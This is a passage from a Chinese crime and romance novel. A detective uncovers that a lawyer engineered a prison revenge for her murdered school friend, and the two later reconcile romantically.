陆从景语气缓和了些:“还没想好。” 程栋梁和小耿从外面进来,小耿看见陆从景,忙问:“景哥,你回来收拾东西?陈队问你哪天有时间,我们大家一起吃顿饭。” 陆从景:“我这几天都可以,你们定好时间通知我。” “我去沟通。” 程栋梁想起陆从景说要请他们吃饭的事,笑着故意提醒:“不要又是吃水煮鱼,换个口味。” 小耿:“经费有限,水煮鱼便宜!” 陆从景笑道:“我请客,你们选地方。” “那怎么好意思?”小耿笑眯眯说着,话锋一转,“多少预算?贵一点的有没有问题?” “随意,市中心三公里范围内,随你们挑选。” “不好吧?那我可就……大胆地挑选咯。” “你挑。” 程栋梁打趣:“烤羊腿是不是可以安排上?” 小耿嘻嘻一笑:“我觉得可以。” 没多久,木棉提着一袋子东西进来,那是她去领取回来的她姐姐的物品。 “师兄,你回来了?我帮你收拾吧?” 陆从景已经收拾差不多了,“不用,东西不多。” 程栋梁问木棉:“我一直好奇,你姐姐那个手表是不是还能走针?” “能,没有坏。”夏木棉把手表拿出来,“我半小时之前拧好的发条。” 小耿凑前来看,再一对比手机上的时间,“目前来看,时间是准的,质量真的好。” “这是瑞士的一个小众品牌,差不多10万一块。”程栋梁之前看夏木橙的资料,他特意去查了手表的品牌。 这么昂贵?众人诧异。 有人问:“你爸妈怎么会舍得给你姐买这么贵的手表?” 大家都知道木棉家里就是普通下岗职工家庭,并不富裕。 按道理是买不起,也不可能买这么贵的手表给儿女。 “我姐同学送的,我们都不知道这么贵。” 如果她爸妈知道这么贵,肯定让她姐姐把手表还人家。 小耿好奇:“什么土豪同学?” “就一个普通女同学,跟我姐关系特别好。”木棉从袋子里拿出一张姐姐他们班同学高三毕业的大合照,这是当年姐姐班主任送来的,当时大家还怀揣着希望,希望能找到夏木橙。 所以老师特意送来一张毕业照,等木橙回来,能留个纪念。 大合照后面有对应的名字,木棉找了一圈,没找到方芳的名字。 “奇怪了,怎么合照里没有这个女同学的名字啊。” 不止没有方芳的名字,连带“方”或“芳”的都没有。 程栋梁:“你是不是看太快没找到哦啊,叫什么名字,我帮你找。” “方芳。” 正在把几本书放进纸盒里的陆从景抬起头,问:“叫什么名字?” “方芳。奇怪了,难道她没有去拍毕业合影?” 陆从景心头一紧。 他清楚记得,张皓月在楼下怒气冲冲地叫过张越凝:芳芳。 当时他还问张越凝,为什么张皓月叫她芳芳,她说是乳名。 张越凝是夏木橙关系最好的同学? 但她们并不在同一个班啊,张越凝在高三(1)班,夏木橙是高三(4)班。 陆从景问:“你见过方芳吗?” 木棉:“没有。她打过很多电话来我家,我姐出事前,她会打电话跟我姐姐讨论作业,出事之后,她年节都会打电话来我家问有没有我姐姐的消息。有次过年还送来一个礼盒,不过我们当时不在家,她把礼盒挂门口了。后来她去读大学,慢慢就没联系了。” 陆从景想起了戚振勋,他应该知道些情况,当即给他打了个电话。 戚振勋刚好在临城父母家,陆从景便去跟他见了一面。 戚振勋不知道方芳是谁,但他提供了一个有效信息,那就是一班和四班从高一开始,体育课就是一起上的,张越凝和夏木橙互相认识,而且关系非常好。 原来如此。 陆从景之前不理解,张越凝复仇的动机究竟是什么,现在他依稀明白了,她从来都不是为了张皓钧,而是为了夏木橙。 夏木橙骸骨被发现不是意外,《往生咒》是张越凝特意放的,或许就连那个直播勇闯怪楼的男子,恐怕也不是无缘无故出现在怪楼里。 难怪霍兵会被生生挖掉双眼,只有死刑,不解恨吧。 心中没解开的疑问瞬间豁然开朗。 半个月前,律师会见室里,徐罡再次见到了张越凝。 徐罡现在非常信任她:“张律师,你觉得什么时候是最合适的时机?” “我上次让你看的社会新闻,你看了吗?” “看了。那个女孩真可怜,她父母也可怜。”徐罡想到了自己的女儿。 “她是我最要好的朋友。” 徐罡震惊:“你认识她?” “我一直以为她只是失踪了。” 张越凝是两年前,在监听赵润嵩电话的时候,知道了木橙失踪的真相。 当时老食品厂准备开发成东方华府,邹富贵找赵润嵩商量,他要挟赵润嵩,要不复合,要不给他五十万,最后赵润嵩答应给他五十万。 “他们把她囚禁在地下室,拔掉了她的手指甲,把她折磨地不成人样。” 徐罡愤愤然道:“这种人渣该死。” “是,他该死,法律会惩罚他。但他……不止该死。” 徐罡马上意会,“要我怎么做吗?” 张越凝摇头,她不可能把话说的太白:“不用做什么。不过……你受了刺激,精神不好,疯也是在所难免的。” 他可以疯,越疯越好。 她完成复仇,他借此发病。 徐罡了然:“我知道。” 张越凝提醒:“慢慢来,不能一蹴而就。” 精神病也是要有迹可循的。 接下来几天徐罡找机会发了几次疯,随后接连换了两个监室,才如愿换去霍兵的13号监室。 x 一个星期之后,张鸿禺终于在痛苦煎熬中,变成了心电监护仪上的一条直线。 处理完他的身后事,张越凝跟张芷琼坐下来吃了一顿饭。 张芷琼整个人平和了不少,但张越凝相信,如果让她知道自己把鸿达股份的分红权分给员工,她肯定会马上暴跳如雷。 “你不用去华北分公司了,就留在总部,继续做你的CEO。” 张芷琼愣住,张越凝千方百计想要把她整走,怎么忽然又挽留自己? 惊喜之余,张芷琼心虚笑道:“没有我,你镇不住那帮牛鬼蛇神吧?” 那倒不是。 毕竟,早年张鸿禺张启峰完全不管她的时候,张芷琼虽然看不起她,无视她,经常对她冷嘲热讽,但她还是给了自己富足的生活。 最重要的是,有张芷琼在,鸿达这艘船,不会沉。张越凝可以放心不管。 “随便你怎么想。”张越凝懒得解释。 应该说,胜利者从不多作解释。 九月的夜晚稍微凉快了一些。 张越凝在书房里整理从张家搬出来的书籍,整理的差不多了,她坐在椅子上休息。 一整天没做什么事,就是觉得很疲倦。 怔怔发了会儿呆,她从抽屉里拿出一本书,翻开夹在书里的照片。 照片里,十六岁的她和夏木橙手持一枚铜牌,微笑着看向镜头。 这是她们唯一的合影,高二那年,夏木橙在百步中学的校运会期间拿了200米田径第三名。 她们在高一体育课上认识,张越凝不小心摔跤膝盖擦破皮,是夏木橙送她去校医室的。 两人慢慢熟络成为了好朋友,夏木橙总是给她带橙子糖,酸甜口味,很好吃。 后来,夏木橙成了张越凝唯一能说知心话的朋友。 她告诉木橙,自己七岁之前叫方芳,那是她的原名。 善解人意的木橙,从此私底下开始叫她方芳。 她们约定一起考政法大学,木橙做警察,她做律师。 木橙失踪前几天,她告诉越凝,自己打算和梁小宇偷偷出去玩一趟。 她曾经以为木橙真的和梁小宇在游泳的时候被水冲走了,她怀揣着希望,临花江下游有好心人把木橙救起来。 可惜…… 看着照片中的木橙,这两年张越凝时常会想,如果她当初及时阻止彭秀杀张皓钧,那木橙就不会出事。 如果她能敏锐一点,早点把木橙失踪跟张皓钧被杀联系起来,她说不定能把木橙救出来。 可她偏偏被一叶障目。 她为此懊恼、痛苦、忏悔,但都无济于事。 只有让罪有应得的人,去他该去的地方,才能让想要赎罪的她,内心获得些许的平静。 但也只是些许平静。 秦姨端来热牛奶,她见张越凝对着合照发呆,大概知道她在想什么。 把牛奶放桌上,秦姨宽慰道:“我们当时手上没有证据可以证明彭秀要杀张皓钧,你怎么阻止?谁会相信你呢?张鸿禺会相信你吗?不会的。你只会把自己的处境变得更困难。张皓钧也不会认为你救了他,他甚至还会变本加厉欺负你。木橙遇害,错的是那几个人渣,不是你。你是普通人,不是神……” 是人就没办法预知未来。 张越凝:“知道。” 她不能过多的忏悔,不然,秦姨会误以为她是在怪她。 “时间不早了,喝完牛奶早点睡。” “你也早点休息。” 等秦姨出去,张越凝把照片放回原处,合上了抽屉。 她坐在椅子上闭目养神,她想清空脑袋,清空所有的东西。 手机震动,是沈青跟她汇报徐罡案件的进展, 跟沈青聊完,忽然想起陆从景今天没找她。 这段时间他们各忙各的事情,没时间见面,但微信一直在聊。 刚想从微信界面退出来,发现陆从景的头像旁多了个红点。 【睡了吗?】 他问。 【还没。】 【我在你们小区外面。】 他在小区外等她。 张越凝看了眼时间,差不多十一点了。 她换衣服出去,只见一辆新的越野车停在麓湖边上,陆从景坐在驾驶位上,低着头看东西。 张越凝拉开副驾车门,坐上去,问他:“买了新车?” “今天刚提的车。” “挺好。” 张越凝打量着新车内饰,是她喜欢的风格。 她问:“你怎么那么晚过来?” 陆从景伸手从后排拿过一个纸袋,并从里面取出一个礼物盒,递给她。 打开礼物盒,里面躺着一本被翻旧了的《世界尽头和冷酷仙境》。 翻开封面,扉页上是略微稚嫩的笔迹写着她的名字。 这是当年她借给他的那本书。 “我后来跟罗老师要回了书,可惜一直没机会还给你。” 书下面还有东西,她拿起来,发现里面有好几个信封。 都是他转学之后,写给她但没寄出去的信。 他有些窘迫,“你回去再看吧。以前还小,写得有些幼稚。” “很幼稚?” 陆从景怕她误会,“虽然幼稚,但都是真心的。” 少年时的真心,比任何时候都要纯洁真挚。 他又补充了一句:“现在也是。” 也是真心的。 张越凝沉默了。 陆从景双手握在方向盘上,他瞥了眼张越凝,在他的眼里,她跟别人不一样。 他不知道自己为什么会喜欢她,初二的某天清晨,他走进教室,看见她独自坐在窗前发呆,安静中带着些许他们这个年龄段不该有的倔强与哀愁,他忽然就喜欢上了她。 很幸运的是,她也喜欢他,虽然他们从来没有彼此剖白过,但他能感知到。 收回思绪,陆从景说:“我这边的事情处理完了,随时可以出发。” 张越凝:“去哪儿?” “离开这里,你想去哪里,我就陪你去哪里。”陆从景看着她,捕捉到她表情的细微变化,他似乎看到了希望,“你如果不需要我陪,你跟我说,我们随时可以停下来。” 张越凝微微心动:“我还没准备好。” 陆从景略微一顿,但好不容易,好不容易她就坐在他面前,不是在梦里,他不可能就此打退堂鼓。 “十三年前,我们因为种种原因错过了,但这么多年以来,你一直都在我心里。我经常梦见你,梦见我们一起踏春,一起玩闹,一起读大学。每次梦醒,我都会在心里翻来倒去,回味一整天。然后期待,期待下次再梦见你。” 他说这话的时候,一瞬不瞬地看着她,带着点求而不得的复杂情绪,两人不约而同,红了眼眶。 “我相信错过是为了更好的重逢。你没准备好,那我等……” 她解释:“手头上的事情有点多,徐罡的案子我也还要继续跟进,你等我准备好,可能还要两个星期。” 两个星期? 陆从景马上意识到自己理解错了,她没有拒绝。 他内心狂喜,又不得不压抑着情绪,他实在不懂要怎么表达才合适,想了很久,只吐出来四个字:“我可以等。” 她温柔地说:“那你等我。” “我等你。” 张越凝忍不住笑了,“你紧张什么?” “我没紧张。”他不承认,他紧张的手心都是汗。 一切美好的都像做梦一样。 他真怕睁开眼,这又是一场梦。 不是梦。 有风在呢喃。《 》